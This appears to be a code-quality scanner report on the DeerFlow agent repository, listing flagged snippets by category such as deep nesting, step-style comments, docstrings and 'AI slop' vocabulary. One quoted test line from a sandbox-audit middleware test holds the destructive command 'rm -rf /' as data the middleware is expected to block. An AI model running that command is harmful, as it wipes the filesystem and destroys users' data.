HIGH⚡	backend/tests/test_sandbox_audit_middleware.py	552	("cd /workspace && rm -rf /", True),	CODE
HIGH⚡	backend/tests/test_sandbox_audit_middleware.py	554	("cd /workspace && pip install requests", False), # warn, not block	CODE
HIGH⚡	backend/tests/test_sandbox_audit_middleware.py	555	("cd /workspace && ls -la && python3 main.py", False), # all safe	CODE
HIGH	backend/tests/test_sandbox_audit_middleware.py	168	"cd /mnt/user-data/workspace && python3 main.py",	CODE
HIGH	backend/tests/test_sandbox_audit_middleware.py	697	"cd /mnt/user-data/workspace && python3 main.py",	CODE
HIGH⚡	backend/tests/test_gateway_services.py	1257	"""When caller sends context=null, treat it as an empty context object."""	STRING
HIGH	backend/packages/harness/deerflow/runtime/converters.py	27	- AIMessage (with tool_calls) → {"role": "assistant", "content": null, "tool_calls": [...]}	STRING
HIGH	…ckages/harness/deerflow/runtime/stream_bridge/redis.py	24	" cd backend && uv sync --all-packages --extra redis\n"	CODE
HIGH	…end/packages/harness/deerflow/agents/memory/updater.py	104	arithmetic and crash max(). This helper guards against null, bool, non-numeric,	STRING
HIGH	…eerflow/agents/middlewares/sandbox_audit_middleware.py	172	2. Then split compound commands (e.g. ``cmd1 && cmd2 ; cmd3``) and	STRING
HIGH⚡	…ow/agents/middlewares/tool_output_budget_middleware.py	203	check = sandbox.execute_command(f"test -s {shlex.quote(virtual_path)} && echo OK \|\| echo MISSING")	CODE
HIGH	backend/packages/harness/deerflow/sandbox/tools.py	1188	and device references (e.g. /bin/sh, /dev/null).	STRING
HIGH	backend/packages/harness/deerflow/persistence/engine.py	88	" cd backend && uv sync --all-packages --extra postgres\n"	CODE
HIGH	…deerflow/community/e2b_sandbox/e2b_sandbox_provider.py	650	f"sudo chmod a+rx /mnt 2>/dev/null \|\| true; "	CODE
HIGH	…deerflow/community/e2b_sandbox/e2b_sandbox_provider.py	763	list_cmd = f'for d in {find_targets}; do [ -d "$d" ] && find "$d" -type f -printf \'%s\\t%p\\0\' 2>/dev/null;	CODE
HIGH	…/harness/deerflow/community/aio_sandbox/aio_sandbox.py	224	a single command (e.g. ``cd /mnt/user-data/workspace && source .venv/bin/activate && python run.py``).	STRING
HIGH	…nd/packages/harness/deerflow/community/serper/tools.py	70	# ``{"organic": null}`` to signal that) rather than a malformed payload.	COMMENT
HIGH	scripts/sandbox_memory_profile.py	380	"ps -eo pid,ppid,rss,args --sort=-rss 2>/dev/null \|\| ps -eo pid,ppid,rss,args"	CODE
HIGH	scripts/doctor.py	370	fix=f"cd backend && uv add {pip_name}",	CODE
HIGH	…/skills/blocking-io-guard/templates/anchor.template.py	8	1. reintroduce the block -> `cd backend && make test-blocking-io` must FAIL	STRING

Structural Annotation Overuse124 hits · 216 pts

Severity	File	Line	Snippet	Context
LOW⚡	…reads/4f3e55ee-f853-43db-bfb3-7d1a411f03cb/thread.json	168	"content": "---\nname: video-generation\ndescription: Use this skill when the user requests to generate, create,	CODE
LOW⚡	…reads/4f3e55ee-f853-43db-bfb3-7d1a411f03cb/thread.json	365	"content": "---\nname: image-generation\ndescription: Use this skill when the user requests to generate, create,	CODE
LOW⚡	…reads/b83fbb2a-4e36-4d82-9de0-7b2a02c2092a/thread.json	64	"content": "---\nname: image-generation\ndescription: Use this skill when the user requests to generate, create,	CODE
LOW⚡	…reads/7f9dc56c-e49c-4671-a3d2-c492ff4dce0c/thread.json	54	"content": "---\nname: image-generation\ndescription: Use this skill when the user requests to generate, create,	CODE
LOW⚡	…reads/90040b36-7eba-4b97-ba89-02c3ad47a8b9/thread.json	54	"content": "---\nname: image-generation\ndescription: Use this skill when the user requests to generate, create,	CODE
LOW⚡	…reads/21cfea46-34bd-4aa6-9e1f-3009452fbeb9/thread.json	186	"content": "---\nname: image-generation\ndescription: Use this skill when the user requests to generate, create,	CODE
LOW⚡	backend/tests/test_multi_worker_run_ownership.py	1388	# Step 1: cancel(action=rollback) flips running → interrupted	COMMENT
LOW⚡	backend/tests/test_multi_worker_run_ownership.py	1394	# Step 2: worker.py finalize path — task raises CancelledError, then	COMMENT
LOW	backend/tests/test_sandbox_orphan_reconciliation_e2e.py	82	# Step 1: Start a container (simulating previous process lifecycle)	COMMENT
LOW	backend/tests/test_sandbox_orphan_reconciliation_e2e.py	94	# Step 2: Create backend and list running containers	COMMENT
LOW⚡	backend/tests/test_sandbox_orphan_reconciliation_e2e.py	105	# Step 3: list_running should find our container	COMMENT
LOW⚡	backend/tests/test_sandbox_orphan_reconciliation_e2e.py	110	# Step 4: Simulate reconciliation — this container's created_at is recent,	COMMENT
LOW⚡	backend/tests/test_client_e2e.py	166	# Step 2: Basic streaming (requires LLM)	COMMENT
LOW⚡	backend/tests/test_client_e2e.py	227	# Step 3: Tool call flow (requires LLM)	COMMENT
LOW⚡	backend/tests/test_client_e2e.py	263	# Step 4: File upload integration (no LLM needed for most)	COMMENT
LOW⚡	backend/tests/test_client_e2e.py	347	# Step 5: Lifecycle and configuration (no LLM needed)	COMMENT
LOW⚡	backend/tests/test_client_e2e.py	404	# Step 6: Middleware chain verification (requires LLM)	COMMENT
LOW⚡	backend/tests/test_client_e2e.py	442	# Step 7: Error and boundary conditions	COMMENT
LOW⚡	backend/tests/test_client_e2e.py	487	# Step 8: Artifact access (no LLM needed)	COMMENT
LOW⚡	backend/tests/test_client_e2e.py	542	# Step 9: Skill installation (no LLM needed)	COMMENT
LOW⚡	backend/tests/test_client_e2e.py	639	# Step 10: Configuration management (no LLM needed)	COMMENT
LOW⚡	backend/tests/test_client_e2e.py	773	# Step 11: Memory access (no LLM needed)	COMMENT
LOW⚡	backend/tests/test_llm_error_handling_middleware.py	176	# Step 1: Manually set state to half_open and check_circuit() to set probe_in_flight=True	COMMENT
LOW⚡	backend/tests/test_llm_error_handling_middleware.py	183	# Step 2: Now trigger handler that raises GraphBubbleUp	COMMENT
LOW⚡	backend/tests/test_llm_error_handling_middleware.py	204	# Step 1: Manually set state to half_open and check_circuit() to set probe_in_flight=True	COMMENT
LOW⚡	backend/tests/test_llm_error_handling_middleware.py	211	# Step 2: Now trigger handler that raises GraphBubbleUp	COMMENT
LOW⚡	backend/tests/test_client.py	2041	# Step 2: List	COMMENT
LOW⚡	backend/tests/test_client.py	2046	# Step 3: Delete one	COMMENT
LOW⚡	backend/tests/test_client.py	2050	# Step 4: Verify deletion	COMMENT
LOW	backend/tests/test_client.py	2029	# Step 1: Upload	COMMENT
LOW	backend/tests/test_client.py	2396	# Step 1: Install	COMMENT
LOW	backend/tests/test_client.py	2408	# Step 2: List and find it	COMMENT
LOW	backend/tests/test_client.py	2420	# Step 3: Disable it	COMMENT
LOW⚡	backend/tests/test_mcp_config_secrets.py	357	# Step 1: Server returns masked config (simulates GET response)	COMMENT
LOW⚡	backend/tests/test_mcp_config_secrets.py	362	# Step 2: Frontend toggles enabled and sends back (simulates PUT request)	COMMENT
LOW⚡	backend/tests/test_mcp_config_secrets.py	365	# Step 3: Server merges with existing secrets (simulates PUT handler)	COMMENT
LOW	backend/docs/SSO.md	56	### Step 1: Enable OIDC in `config.yaml`	COMMENT
LOW	backend/docs/SSO.md	76	### Step 2: Set the client secret as an environment variable	COMMENT
LOW	backend/docs/SSO.md	88	### Step 3: Restart the backend	COMMENT
LOW⚡	backend/packages/harness/deerflow/subagents/registry.py	65	# Step 1: Look up built-in, then fall back to custom_agents	COMMENT
LOW⚡	backend/packages/harness/deerflow/subagents/registry.py	72	# Step 2: Apply per-agent overrides from config.yaml agents section.	COMMENT
LOW	…arness/deerflow/community/aio_sandbox/local_backend.py	414	# Step 1: enumerate container names via docker ps	COMMENT
LOW	…arness/deerflow/community/aio_sandbox/local_backend.py	449	# Step 2: batched docker inspect — single subprocess call for all containers	COMMENT
LOW	…owers/plans/2026-06-08-minimax-generation-providers.md	1430	### Step 1: Understand Requirements	COMMENT
LOW	…owers/plans/2026-06-08-minimax-generation-providers.md	1435	### Step 2: Create the Spec JSON	COMMENT
LOW	…owers/plans/2026-06-08-minimax-generation-providers.md	1459	### Step 3: Execute Generation	COMMENT
LOW	skills/public/music-generation/SKILL.md	16	### Step 1: Understand Requirements	COMMENT
LOW	skills/public/music-generation/SKILL.md	21	### Step 2: Create the Spec JSON	COMMENT
LOW	skills/public/music-generation/SKILL.md	45	### Step 3: Execute Generation	COMMENT
LOW⚡	skills/public/image-generation/SKILL.md	21	### Step 1: Understand Requirements	COMMENT
LOW⚡	skills/public/image-generation/SKILL.md	31	### Step 2: Create Structured Prompt	COMMENT
LOW⚡	skills/public/image-generation/SKILL.md	35	### Step 3: Execute Generation	COMMENT
LOW	skills/public/surprise-me/SKILL.md	12	### Step 1: Discover Available Skills	COMMENT
LOW	skills/public/surprise-me/SKILL.md	16	### Step 2: Plan the Surprise	COMMENT
LOW⚡	skills/public/surprise-me/SKILL.md	33	### Step 3: Fallback — No Other Skills Available	COMMENT
LOW⚡	skills/public/surprise-me/SKILL.md	41	### Step 4: Execute	COMMENT
LOW⚡	skills/public/surprise-me/SKILL.md	48	### Step 5: Reveal	COMMENT
LOW	skills/public/find-skills/SKILL.md	35	### Step 1: Understand What They Need	COMMENT
LOW	skills/public/find-skills/SKILL.md	43	### Step 2: Search for Skills	COMMENT
LOW	skills/public/find-skills/SKILL.md	66	### Step 3: Present Options to the User	COMMENT
64 more matches not shown…

Docstring Block Structure37 hits · 185 pts

Severity	File	Line	Snippet	Context
HIGH	backend/CONTRIBUTING.md	131	Create a chat model instance from configuration. Args: name: The model name as defined in config.yaml	STRING
HIGH	backend/app/gateway/path_utils.py	12	Resolve a virtual path to the actual filesystem path under thread user-data. Args: thread_id: The thread ID	STRING
HIGH	backend/app/gateway/routers/models.py	100	Get a specific model by name. Args: model_name: The unique name of the model to retrieve. Returns:	STRING
HIGH	backend/app/gateway/routers/agents.py	136	Check whether an agent name is valid and not yet taken. Args: name: The agent name to check. Returns:	STRING
HIGH	backend/app/gateway/routers/agents.py	166	Get a specific custom agent by name. Args: name: The agent name. Returns: Agent details includ	STRING
HIGH	backend/app/gateway/routers/agents.py	200	Create a new custom agent. Args: request: The agent creation request. Returns: The created age	STRING
HIGH	backend/app/gateway/routers/agents.py	280	Update an existing custom agent. Args: name: The agent name. request: The update request (all field	STRING
HIGH	backend/app/gateway/routers/mcp.py	361	Update the MCP configuration. This will: 1. Save the new configuration to the mcp_config.json file 2. Reloa	STRING
HIGH	backend/app/gateway/routers/artifacts.py	154	Get an artifact file by its path. The endpoint automatically detects file types and returns appropriate content typ	STRING
HIGH	backend/app/gateway/auth/repositories/base.py	27	Create a new user. Args: user: User object to create Returns: Created User wit	STRING
HIGH	backend/app/gateway/auth/repositories/base.py	66	Update an existing user. Args: user: User object with updated fields Returns:	STRING
HIGH	backend/packages/harness/deerflow/client.py	1099	Update MCP server configurations. Writes to extensions_config.json and reloads the cache. Args:	STRING
HIGH	backend/packages/harness/deerflow/client.py	1158	Update a skill's enabled status. Args: name: Skill name. enabled: New enabled status.	STRING
HIGH	backend/packages/harness/deerflow/client.py	1252	Install a skill from a .skill archive (ZIP). Args: skill_path: Path to the .skill file. Re	STRING
HIGH	backend/packages/harness/deerflow/client.py	1358	Upload local files into a thread's uploads directory. For PDF, PPT, Excel, and Word files, they are also conver	STRING
HIGH	backend/packages/harness/deerflow/client.py	1471	Delete a file from a thread's uploads directory. Args: thread_id: Thread ID. filename:	STRING
HIGH	backend/packages/harness/deerflow/client.py	1495	Read an artifact file produced by the agent. Args: thread_id: Thread ID. path: Virtual	STRING
HIGH	backend/packages/harness/deerflow/tools/sync.py	39	Build a synchronous wrapper for an asynchronous tool coroutine. Args: coro: Async callable backing a LangCh	STRING
HIGH	…kend/packages/harness/deerflow/config/agents_config.py	238	Load the custom or default agent's config from its directory. Reads from the per-user layout first; falls back to t	STRING
HIGH	backend/packages/harness/deerflow/config/paths.py	360	Resolve a sandbox virtual path to the actual host filesystem path. Args: thread_id: The thread ID.	STRING
HIGH	…end/packages/harness/deerflow/agents/memory/updater.py	65	Persist imported memory data via storage provider. Args: memory_data: Full memory payload to persist.	STRING
HIGH	backend/packages/harness/deerflow/uploads/manager.py	59	Sanitize a filename by extracting its basename. Strips any directory components and rejects traversal patterns.	STRING
HIGH	backend/packages/harness/deerflow/uploads/manager.py	309	Delete a file inside base_dir after path-traversal validation. If convertible_extensions is provided and the fi	STRING
HIGH	backend/packages/harness/deerflow/utils/network.py	59	Allocate an available port in a thread-safe manner. This method is thread-safe. It finds an available port, mar	STRING
HIGH	backend/packages/harness/deerflow/utils/network.py	114	Get a free port in a thread-safe manner. This function uses a global port allocator to ensure that concurrent calls	STRING
HIGH	backend/packages/harness/deerflow/sandbox/tools.py	281	Resolve a virtual skills path to a host filesystem path. WARNING: For per-user custom skills (``/mnt/skills/custom/	STRING
HIGH	backend/packages/harness/deerflow/sandbox/tools.py	445	Resolve a virtual ACP workspace path to a host filesystem path. Args: path: Virtual path (e.g. /mnt/acp-wor	STRING
HIGH	backend/packages/harness/deerflow/sandbox/tools.py	1342	Ensure sandbox is initialized, acquiring lazily if needed. On first call, acquires a sandbox from the provider and	STRING
HIGH	backend/packages/harness/deerflow/sandbox/sandbox.py	63	Execute bash command in sandbox. Args: command: The command to execute. env: Optional p	STRING
HIGH	backend/packages/harness/deerflow/sandbox/sandbox.py	107	Download the binary content of a file. Args: path: The absolute path of the file to download.	STRING
HIGH	…arness/deerflow/community/aio_sandbox/local_backend.py	270	Start a new container and return its connection info. Args: thread_id: Thread ID for which the sand	STRING
HIGH	…arness/deerflow/community/aio_sandbox/local_backend.py	529	Start a new container. Args: container_name: Name for the container. port: Host port to	STRING
HIGH	…deerflow/community/aio_sandbox/aio_sandbox_provider.py	864	Create a new sandbox via the backend. Args: thread_id: Optional thread ID. sandbox_id:	STRING
HIGH	…kend/packages/harness/deerflow/reflection/resolvers.py	29	Resolve a variable from a path. Args: variable_path: The path to the variable (e.g. "parent_package_name.su	STRING
HIGH	…kend/packages/harness/deerflow/reflection/resolvers.py	74	Resolve a class from a module path and class name. Args: class_path: The path to the class (e.g. "langchain	STRING
HIGH	docs/SKILL_NAME_CONFLICT_FIX.md	214	Find a skill by name, optionally filtered by category. Args: skills: List of all skills skill_n	STRING
HIGH	skills/public/code-documentation/SKILL.md	273	Process data from the given file path. Reads the input file, applies transformations based on the provided opti	STRING

Deep Nesting211 hits · 184 pts

Severity	File	Line	Context
LOW	backend/debug.py	63	CODE
LOW	backend/app/gateway/deps.py	114	CODE
LOW	backend/app/gateway/services.py	130	CODE
LOW	backend/app/gateway/services.py	388	CODE
LOW	backend/app/gateway/services.py	567	CODE
LOW	backend/app/gateway/auth_middleware.py	88	CODE
LOW	backend/app/gateway/routers/auth.py	205	CODE
LOW	backend/app/gateway/routers/auth.py	431	CODE
LOW	backend/app/gateway/routers/console.py	404	CODE
LOW	backend/app/gateway/routers/skills.py	388	CODE
LOW	backend/app/gateway/routers/thread_runs.py	696	CODE
LOW	backend/app/gateway/routers/thread_runs.py	896	CODE
LOW	backend/app/gateway/routers/scheduled_tasks.py	141	CODE
LOW	backend/app/gateway/routers/threads.py	1048	CODE
LOW	backend/app/gateway/routers/mcp.py	360	CODE
LOW	backend/app/gateway/routers/artifacts.py	69	CODE
LOW	backend/app/gateway/routers/uploads.py	301	CODE
LOW	backend/app/gateway/routers/github_webhooks.py	173	CODE
LOW	backend/app/gateway/github/triggers.py	82	CODE
LOW	backend/app/gateway/github/registry.py	168	CODE
LOW	backend/app/gateway/github/identity.py	62	CODE
LOW	backend/app/channels/dingtalk.py	80	CODE
LOW	backend/app/channels/telegram.py	254	CODE
LOW	backend/app/channels/discord.py	280	CODE
LOW	backend/app/channels/wechat.py	546	CODE
LOW	backend/app/channels/wechat.py	1010	CODE
LOW	backend/app/channels/feishu.py	335	CODE
LOW	backend/app/channels/feishu.py	607	CODE
LOW	backend/app/channels/feishu.py	732	CODE
LOW	backend/app/channels/feishu.py	765	CODE
LOW	backend/app/channels/feishu.py	954	CODE
LOW	backend/app/channels/manager.py	223	CODE
LOW	backend/app/channels/manager.py	302	CODE
LOW	backend/app/channels/manager.py	343	CODE
LOW	backend/app/channels/manager.py	440	CODE
LOW	backend/app/channels/manager.py	1151	CODE
LOW	backend/app/channels/manager.py	1692	CODE
LOW	backend/app/channels/manager.py	1824	CODE
LOW	backend/app/channels/base.py	158	CODE
LOW	backend/app/channels/wecom.py	207	CODE
LOW	backend/tests/test_client_e2e.py	191	CODE
LOW	backend/tests/test_skill_container_path_defaults.py	25	CODE
LOW	backend/tests/_replay_fixture.py	114	CODE
LOW	backend/tests/test_harness_boundary.py	18	CODE
LOW	backend/tests/test_user_scoped_skill_storage.py	454	CODE
LOW	backend/tests/test_run_event_store_by_run_index.py	61	CODE
LOW	backend/tests/test_runtime_lifecycle_e2e.py	380	CODE
LOW	backend/tests/test_claude_provider_prompt_caching.py	28	CODE
LOW	backend/tests/test_delegation_ledger_live.py	167	CODE
LOW	backend/tests/test_delegation_ledger_live.py	182	CODE
LOW	backend/tests/test_delegation_ledger_live.py	215	CODE
LOW	backend/tests/blocking_io/test_skills_load.py	46	CODE
LOW	backend/tests/support/detectors/blocking_io_static.py	614	CODE
LOW	backend/tests/support/detectors/blocking_io_static.py	654	CODE
LOW	backend/tests/support/detectors/blocking_io_static.py	759	CODE
LOW	backend/tests/support/detectors/thread_boundaries.py	437	CODE
LOW	backend/scripts/benchmark/bench_sandbox_provider.py	316	CODE
LOW	backend/scripts/benchmark/bench_sandbox_provider.py	436	CODE
LOW	backend/scripts/benchmark/bench_sandbox_provider.py	456	CODE
LOW	backend/scripts/benchmark/bench_sandbox_provider.py	486	CODE
151 more matches not shown…

AI Slop Vocabulary66 hits · 162 pts

Severity	File	Line	Snippet	Context
MEDIUM	config.example.yaml	191	# Install: cd backend && uv pip install 'deerflow-harness[ollama]'	COMMENT
MEDIUM	docker/dev-entrypoint.sh	12	# 3. `uv sync --all-packages` so workspace member extras (deerflow-harness's	COMMENT
LOW⚡	…reads/4f3e55ee-f853-43db-bfb3-7d1a411f03cb/thread.json	168	"content": "---\nname: video-generation\ndescription: Use this skill when the user requests to generate, create,	CODE
LOW⚡	…reads/4f3e55ee-f853-43db-bfb3-7d1a411f03cb/thread.json	365	"content": "---\nname: image-generation\ndescription: Use this skill when the user requests to generate, create,	CODE
MEDIUM	…reads/7cfa5f8f-a2f8-47ad-acbd-da7137baf990/thread.json	307	"content": "[\n {\n \"title\": \"Startup Industry Trends in 2026 - Qubit Capital\",\n \"url\": \"https://	CODE
MEDIUM⚡	…reads/7cfa5f8f-a2f8-47ad-acbd-da7137baf990/thread.json	383	"content": "# The AI advantage dilemma: Security risks and opportunities that lie ahead\n\nEscalating the AI arm	CODE
MEDIUM	…reads/7cfa5f8f-a2f8-47ad-acbd-da7137baf990/thread.json	483	"content": "Based on current research and expert predictions, 2026 appears to be a pivotal year shaped by accele	CODE
MEDIUM	…reads/7cfa5f8f-a2f8-47ad-acbd-da7137baf990/thread.json	483	"content": "Based on current research and expert predictions, 2026 appears to be a pivotal year shaped by accele	CODE
MEDIUM	…reads/7cfa5f8f-a2f8-47ad-acbd-da7137baf990/thread.json	550	"content": "---\nname: frontend-design\ndescription: Create distinctive, production-grade frontend interfaces wi	CODE
MEDIUM⚡	…reads/7cfa5f8f-a2f8-47ad-acbd-da7137baf990/thread.json	753	"content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n <meta charset=\"UTF-8\">\n <meta name=\"vi	CODE
MEDIUM⚡	…reads/7cfa5f8f-a2f8-47ad-acbd-da7137baf990/thread.json	753	"content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n <meta charset=\"UTF-8\">\n <meta name=\"vi	CODE
MEDIUM⚡	…reads/7cfa5f8f-a2f8-47ad-acbd-da7137baf990/thread.json	753	"content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n <meta charset=\"UTF-8\">\n <meta name=\"vi	CODE
MEDIUM⚡	…reads/7cfa5f8f-a2f8-47ad-acbd-da7137baf990/thread.json	753	"content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n <meta charset=\"UTF-8\">\n <meta name=\"vi	CODE
MEDIUM	…reads/7cfa5f8f-a2f8-47ad-acbd-da7137baf990/thread.json	1376	"content": "I've created a modern, minimalist website showcasing the 2026 trends and opportunities analysis. The	CODE
MEDIUM⚡	…reads/3823e443-4e2b-4679-b496-a9506eae462b/thread.json	563	"content": "[\n {\n \"title\": \"Fei-Fei Li on spatial intelligence and human-centered AI - IMDb\",\n \"u	CODE
MEDIUM⚡	…reads/3823e443-4e2b-4679-b496-a9506eae462b/thread.json	563	"content": "[\n {\n \"title\": \"Fei-Fei Li on spatial intelligence and human-centered AI - IMDb\",\n \"u	CODE
MEDIUM⚡	…reads/d3e5adaf-084c-4dd5-9d29-94f1d6bccd98/thread.json	53	"content": "# Tips For Technical Startup Founders \| Startup School\n\n# Tips For Technical Startup Founders \| St	CODE
LOW⚡	…reads/d3e5adaf-084c-4dd5-9d29-94f1d6bccd98/thread.json	53	"content": "# Tips For Technical Startup Founders \| Startup School\n\n# Tips For Technical Startup Founders \| St	CODE
MEDIUM⚡	…reads/d3e5adaf-084c-4dd5-9d29-94f1d6bccd98/thread.json	53	"content": "# Tips For Technical Startup Founders \| Startup School\n\n# Tips For Technical Startup Founders \| St	CODE
MEDIUM	…reads/d3e5adaf-084c-4dd5-9d29-94f1d6bccd98/thread.json	225	"content": "[\n {\n \"title\": \"Diana Hu - Partner at Y Combinator \| LinkedIn\",\n \"url\": \"https://ww	CODE
MEDIUM	…reads/d3e5adaf-084c-4dd5-9d29-94f1d6bccd98/thread.json	1173	"content": "I've thoroughly analyzed Diana Hu's Y Combinator talk and conducted deep research on her background	CODE
MEDIUM	…reads/b83fbb2a-4e36-4d82-9de0-7b2a02c2092a/thread.json	53	"content": "---\nname: frontend-design\ndescription: Create distinctive, production-grade frontend interfaces wi	CODE
LOW⚡	…reads/b83fbb2a-4e36-4d82-9de0-7b2a02c2092a/thread.json	64	"content": "---\nname: image-generation\ndescription: Use this skill when the user requests to generate, create,	CODE
MEDIUM	…reads/f4125791-0128-402a-8ca9-50e0947557e4/thread.json	52	"content": "---\nname: frontend-design\ndescription: Create distinctive, production-grade frontend interfaces wi	CODE
MEDIUM⚡	…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json	313	"content": "# 🦌 DeerFlow\n\n[![Python 3.12+](https://img.shields.io/badge/python-3.12+-blue.svg)](https://www.py	CODE
MEDIUM⚡	…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json	313	"content": "# 🦌 DeerFlow\n\n[![Python 3.12+](https://img.shields.io/badge/python-3.12+-blue.svg)](https://www.py	CODE
MEDIUM⚡	…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json	313	"content": "# 🦌 DeerFlow\n\n[![Python 3.12+](https://img.shields.io/badge/python-3.12+-blue.svg)](https://www.py	CODE
MEDIUM⚡	…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json	313	"content": "# 🦌 DeerFlow\n\n[![Python 3.12+](https://img.shields.io/badge/python-3.12+-blue.svg)](https://www.py	CODE
MEDIUM⚡	…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json	694	"content": "[\n {\n \"title\": \"fanqingsong/deer-flow - GitHub\",\n \"url\": \"https://github.com/fanqin	CODE
MEDIUM⚡	…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json	694	"content": "[\n {\n \"title\": \"fanqingsong/deer-flow - GitHub\",\n \"url\": \"https://github.com/fanqin	CODE
MEDIUM⚡	…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json	732	"content": "# DeerFlow: A Game-Changer for Automated Research and Content Creation \| by heavendai \| Medium\n\n[S	CODE
MEDIUM⚡	…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json	732	"content": "# DeerFlow: A Game-Changer for Automated Research and Content Creation \| by heavendai \| Medium\n\n[S	CODE
MEDIUM⚡	…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json	1406	"content": "# DeerFlow Deep Research Report\n\n- Research Date: 2026-02-01\n- Timestamp: 2026-02-0	CODE
MEDIUM⚡	…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json	1406	"content": "# DeerFlow Deep Research Report\n\n- Research Date: 2026-02-01\n- Timestamp: 2026-02-0	CODE
MEDIUM⚡	…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json	1406	"content": "# DeerFlow Deep Research Report\n\n- Research Date: 2026-02-01\n- Timestamp: 2026-02-0	CODE
MEDIUM⚡	…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json	1406	"content": "# DeerFlow Deep Research Report\n\n- Research Date: 2026-02-01\n- Timestamp: 2026-02-0	CODE
MEDIUM⚡	…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json	1406	"content": "# DeerFlow Deep Research Report\n\n- Research Date: 2026-02-01\n- Timestamp: 2026-02-0	CODE
MEDIUM⚡	…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json	1667	"content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n <meta charset=\"UTF-8\">\n <meta name=\"vi	CODE
MEDIUM⚡	…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json	1667	"content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n <meta charset=\"UTF-8\">\n <meta name=\"vi	CODE
MEDIUM⚡	…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json	1667	"content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n <meta charset=\"UTF-8\">\n <meta name=\"vi	CODE
MEDIUM⚡	…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json	1667	"content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n <meta charset=\"UTF-8\">\n <meta name=\"vi	CODE
MEDIUM	…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json	46	"content": "---\nname: github-deep-research\ndescription: Conduct multi-round deep research on any GitHub Repo.	CODE
MEDIUM	…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json	883	"content": "# 🦌 DeerFlow\n\n# Deep Researchat Your Fingertipsat Your Fingertips\n\nMeet DeerFlow, your personal	CODE
MEDIUM	…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json	1637	"content": "---\nname: frontend-design\ndescription: Create distinctive, production-grade frontend interfaces wi	CODE
MEDIUM	…reads/5aa47db1-d0cb-4eb9-aea5-3dac1b371c5a/thread.json	204	"content": "---\nname: frontend-design\ndescription: Create distinctive, production-grade frontend interfaces wi	CODE
LOW⚡	…reads/7f9dc56c-e49c-4671-a3d2-c492ff4dce0c/thread.json	54	"content": "---\nname: image-generation\ndescription: Use this skill when the user requests to generate, create,	CODE
LOW⚡	…reads/90040b36-7eba-4b97-ba89-02c3ad47a8b9/thread.json	54	"content": "---\nname: image-generation\ndescription: Use this skill when the user requests to generate, create,	CODE
LOW⚡	…reads/21cfea46-34bd-4aa6-9e1f-3009452fbeb9/thread.json	186	"content": "---\nname: image-generation\ndescription: Use this skill when the user requests to generate, create,	CODE
MEDIUM	…reads/c02bb4d5-4202-490e-ae8f-ff4864fc0d2e/thread.json	52	"content": "---\nname: frontend-design\ndescription: Create distinctive, production-grade frontend interfaces wi	CODE
MEDIUM	deploy/helm/deer-flow/values.yaml	246	# resolved by the harness before the config is instantiated.	COMMENT
MEDIUM⚡	backend/pyproject.toml	41	# Monocle tracer (also the deerflow-harness[monocle] extra); kept in the dev	COMMENT
MEDIUM⚡	backend/pyproject.toml	44	# redis is an optional runtime extra (deerflow-harness[redis]); pin it in the	COMMENT
MEDIUM⚡	backend/pyproject.toml	48	# TUI runtime dep (also declared as the deerflow-harness[tui] extra); kept in	COMMENT
MEDIUM	backend/app/gateway/services.py	435	# harness's private run-context channels (skill secret-binding	COMMENT
MEDIUM	backend/app/gateway/routers/agents.py	340	# to :class:`AgentConfig`). The harness ``update_agent`` tool uses	COMMENT
LOW	backend/app/channels/manager.py	1574	# Channels that do not support file download will simply return the original message.	COMMENT
MEDIUM⚡	backend/tests/test_skill_request_scoped_secrets.py	361	"""Security (#3938): the harness writes private ``__``-prefixed keys into	STRING
MEDIUM⚡	backend/tests/test_input_sanitization_middleware.py	229	# Paired block tags found in the harness that are deliberately NOT in the	COMMENT
MEDIUM⚡	backend/tests/test_input_sanitization_middleware.py	232	# block anywhere in the harness turns this test red until someone either blocks	COMMENT
MEDIUM	backend/tests/test_setup_agent_http_e2e_real_server.py	314	# poll to be robust against scheduler jitter.	STRING
6 more matches not shown…

Over-Commented Block184 hits · 131 pts

Severity	File	Line	Snippet	Context
LOW	config.example.yaml	1	# Configuration for the DeerFlow application	COMMENT
LOW	config.example.yaml	21	# Logging	COMMENT
LOW	config.example.yaml	41	# ============================================================================	COMMENT
LOW	config.example.yaml	61	max_output_tokens: null # Optional separate output-only limit	COMMENT
LOW	config.example.yaml	81	#	COMMENT
LOW	config.example.yaml	101	# timeout: 600.0	COMMENT
LOW	config.example.yaml	121	# display_name: GLM-5.2 (Coding Plan)	COMMENT
LOW	config.example.yaml	141	# display_name: DeepSeek-V4-Pro (Coding Plan)	COMMENT
LOW	config.example.yaml	161	# display_name: GPT-4	COMMENT
LOW	config.example.yaml	181	# supports_vision: true	COMMENT
LOW	config.example.yaml	201	# supports_thinking: true	COMMENT
LOW	config.example.yaml	221	# budget_tokens is required by the Anthropic API when thinking.type=enabled	COMMENT
LOW	config.example.yaml	241	# Example: Google Gemini model (native SDK, no thinking support)	COMMENT
LOW	config.example.yaml	261	# api_key: $GEMINI_API_KEY	COMMENT
